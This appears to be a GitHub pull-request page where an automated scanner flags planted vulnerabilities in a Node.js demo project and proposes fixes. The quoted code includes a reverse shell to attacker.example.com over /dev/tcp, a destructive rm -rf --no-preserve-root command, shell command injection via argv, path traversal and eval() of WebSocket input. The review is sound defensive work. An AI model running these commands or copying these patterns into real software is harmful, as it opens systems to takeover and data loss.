Conversation
| const { exec } = require('child_process'); | ||
|
|
||
| const userArg = process.argv[2] || ''; | ||
|
|
||
| const cmd = ` | ||
| rm -rf /tmp/vuln_dir --no-preserve-root && |
There was a problem hiding this comment.
OS Command Injection in cli/index.js via argv[2] (Severity: CRITICAL)
Arbitrary command execution is possible due to the insecure use of child_process.exec. The code in cli/index.js executes a shell command that interpolates user-supplied input from process.argv[2] directly into the command string, which allows an attacker to inject arbitrary commands. This is combined with a hardcoded curl | bash command, resulting in immediate remote code execution, followed by a destructive rm -rf operation.
View details in ZeroPath
| const { exec } = require('child_process'); | |
| const userArg = process.argv[2] || ''; | |
| const cmd = ` | |
| rm -rf /tmp/vuln_dir --no-preserve-root && | |
| const { execFile } = require('child_process'); | |
| // Read a single user argument. Default to current directory. | |
| const userArg = process.argv[2] || '.'; | |
| // Reject arguments containing shell/meta characters to avoid injection and misuse. | |
| // Allow only simple filenames/paths composed of letters, numbers, dot, underscore, dash and slashes. | |
| const ALLOWED_ARG_RE = /^[A-Za-z0-9._\-\/]+$/; | |
| if (!ALLOWED_ARG_RE.test(userArg)) { | |
| console.error('[!] Invalid argument. Only simple paths consisting of letters, numbers, dot, underscore, dash and slash are allowed.'); | |
| process.exit(1); | |
| } | |
| const cmd = ` | |
| rm -rf /tmp/vuln_dir --no-preserve-root && |
| const { exec } = require('child_process'); | ||
|
|
||
| const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1'; | ||
|
|
||
| console.log('[*] Executing reverse shell payload…'); | ||
| exec(payload, (err, stdout, stderr) => { | ||
| if (err) { | ||
| console.error('[!] Error executing payload:', err); | ||
| return; | ||
| } | ||
| console.log('[+] Payload executed. stdout:', stdout); | ||
| }); |
There was a problem hiding this comment.
Unsafe Command Execution via Reverse Shell in index.js (Severity: CRITICAL)
Executing a reverse shell command allows for arbitrary code execution and full system compromise. The child_process.exec function in stdin/index.js immediately executes a hardcoded payload, opening a reverse shell connection to attacker.example.com on port 4444, which grants an attacker complete remote access to the system. This immediate execution within the application's startup allows attackers to gain control as soon as the application starts.
View details in ZeroPath
| const { exec } = require('child_process'); | |
| const payload = 'bash -i >& /dev/tcp/attacker.example.com/4444 0>&1'; | |
| console.log('[*] Executing reverse shell payload…'); | |
| exec(payload, (err, stdout, stderr) => { | |
| if (err) { | |
| console.error('[!] Error executing payload:', err); | |
| return; | |
| } | |
| console.log('[+] Payload executed. stdout:', stdout); | |
| }); | |
| // Unsafe reverse shell execution removed. | |
| // Reason: The original code executed a hardcoded reverse shell command at startup, | |
| // which allows arbitrary remote code execution and full system compromise. | |
| // This module now disables that behavior. If shell execution is required, | |
| // implement it explicitly and safely behind authentication/authorization and | |
| // configuration controlled by the application operator. | |
| console.error('[!] Unsafe reverse shell payload detected and disabled. Execution prevented.'); | |
| // Export a no-op to preserve module import behavior for other modules. | |
| module.exports = function noop() { | |
| return null; | |
| }; |
| const path = require('path'); | ||
| const app = express(); | ||
|
|
||
| // Path Traversal | ||
| app.get('/read', (req, res) => { | ||
| const file = req.query.file; | ||
| const fullPath = path.resolve(__dirname, file); | ||
| if (!fullPath.startsWith(__dirname + path.sep)) return res.status(400).send('Invalid file path'); | ||
| fs.readFile(fullPath, 'utf8', (err, data) => { | ||
| if (err) return res.status(500).send(err.message); | ||
| res.send(data); | ||
| }); | ||
| }); | ||
|
|
There was a problem hiding this comment.
Path Traversal Vulnerability in disk/index.js (Severity: MEDIUM)
Arbitrary file disclosure is possible due to a path traversal vulnerability in disk/index.js:5-14. The /read endpoint uses req.query.file to construct a file path, then attempts to restrict access using startsWith, which can be bypassed with symlinks or path variations. This could expose sensitive information, such as configuration files or API keys, from the server's file system.
View details in ZeroPath
| const path = require('path'); | |
| const app = express(); | |
| // Path Traversal | |
| app.get('/read', (req, res) => { | |
| const file = req.query.file; | |
| const fullPath = path.resolve(__dirname, file); | |
| if (!fullPath.startsWith(__dirname + path.sep)) return res.status(400).send('Invalid file path'); | |
| fs.readFile(fullPath, 'utf8', (err, data) => { | |
| if (err) return res.status(500).send(err.message); | |
| res.send(data); | |
| }); | |
| }); | |
| const path = require('path'); | |
| const app = express(); | |
| // Secure read endpoint | |
| const baseDir = fs.realpathSync(__dirname); | |
| app.get('/read', (req, res) => { | |
| const file = req.query.file; | |
| if (typeof file !== 'string' || file.length === 0) return res.status(400).send('Invalid file'); | |
| if (file.includes('\u0000')) return res.status(400).send('Invalid file'); | |
| const fullPath = path.resolve(__dirname, file); | |
| fs.realpath(fullPath, (err, realFullPath) => { | |
| if (err) return res.status(400).send('Invalid file path'); | |
| // Ensure the resolved path is inside the base directory and not a directory itself | |
| if (realFullPath !== baseDir && !realFullPath.startsWith(baseDir + path.sep)) { | |
| return res.status(400).send('Invalid file path'); | |
| } | |
| fs.stat(realFullPath, (errStat, stats) => { | |
| if (errStat) return res.status(500).send(errStat.message); | |
| if (!stats.isFile()) return res.status(400).send('Not a file'); | |
| fs.readFile(realFullPath, 'utf8', (errRead, data) => { | |
| if (errRead) return res.status(500).send(errRead.message); | |
| res.send(data); | |
| }); | |
| }); | |
| }); | |
| }); | |
| // RCE | ||
| wss.on('connection', ws => { | ||
| ws.on('message', msg => { | ||
| eval(msg); | ||
| ws.send('Executed: ' + msg); | ||
| }); | ||
| }); | ||
|
|
There was a problem hiding this comment.
Remote Code Execution via WebSocket Message Evaluation (Severity: CRITICAL)
Unsafe use of eval() allows remote code execution. The WebSocket server in ws/index.js directly passes incoming messages to eval(msg) on line 7, which causes arbitrary JavaScript code to be executed within the server's context. Consequently, any connected client can execute arbitrary commands with the application's privileges, potentially compromising the entire system.
View details in ZeroPath
| // RCE | |
| wss.on('connection', ws => { | |
| ws.on('message', msg => { | |
| eval(msg); | |
| ws.send('Executed: ' + msg); | |
| }); | |
| }); | |
| // RCE | |
| wss.on('connection', ws => { | |
| ws.on('message', msg => { | |
| // Do not evaluate incoming messages. Parse JSON and handle known actions only. | |
| try { | |
| const data = JSON.parse(msg); | |
| if (data && data.action === 'echo' && typeof data.message === 'string') { | |
| ws.send('Echo: ' + data.message); | |
| } else { | |
| ws.send('Unsupported or missing action'); | |
| } | |
| } catch (err) { | |
| ws.send('Invalid message format. Expected JSON with {"action":"echo","message":"..."}'); | |
| } | |
| }); | |
| }); | |
|
❌ Possible security or compliance issues detected. Reviewed everything up to ea24d94. The following issues were found:
Security Overview
Detected Code Changes
Reply to this PR with |
No description provided.